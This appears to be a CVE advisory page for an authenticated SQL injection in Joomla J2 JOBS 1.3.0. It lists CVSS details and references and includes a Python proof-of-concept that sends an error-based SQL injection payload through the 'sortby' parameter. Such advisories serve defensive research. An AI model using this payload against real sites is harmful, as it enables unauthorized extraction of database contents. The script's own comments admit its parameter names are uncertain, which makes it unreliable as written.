CVE-2020-37224

Description

Joomla J2 JOBS 1.3.0 contains an authenticated SQL injection vulnerability that allows authenticated attackers to manipulate database queries by injecting SQL code through the 'sortby' parameter. Attackers can send POST requests to the administrator index with malicious 'sortby' values to extract sensitive database information.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Joomla J2 JOBS 1.3.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "http://target-site.com/administrator/index.php"

# Attacker's session cookie (Authentication required)
cookies = {
    "session_cookie": "attacker_session_id_here"
}

# Malicious payload for 'sortby' parameter
# Attempting to extract database version using error-based or time-based injection
payload = "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,0x27,version(),0x27,0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)"

# POST data parameters
# Note: Actual parameter names (option, view, task) depend on the specific component structure
data = {
    "option": "com_jsjobs",
    "view": "resume", 
    "layout": "resume",
    "sortby": payload,
    "task": "resumes.getresumes"
}

try:
    response = requests.post(target_url, data=data, cookies=cookies, timeout=10)
    if response.status_code == 200:
        print("Request sent successfully.")
        print("Response snippet:", response.text[:500])
        # Analyze response for extracted data
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-37224
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-37224
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-37224/
[4] VulDB https://vuldb.com/cve/CVE-2020-37224
[5] https://joomsky.com/
[6] https://joomsky.com/products/js-jobs-pro.html
[7] https://www.exploit-db.com/exploits/48648
[8] https://www.vulncheck.com/advisories/joomla-j2-jobs-authenticated-sql-injection-via-sortby

Raw JSON Data

JSON

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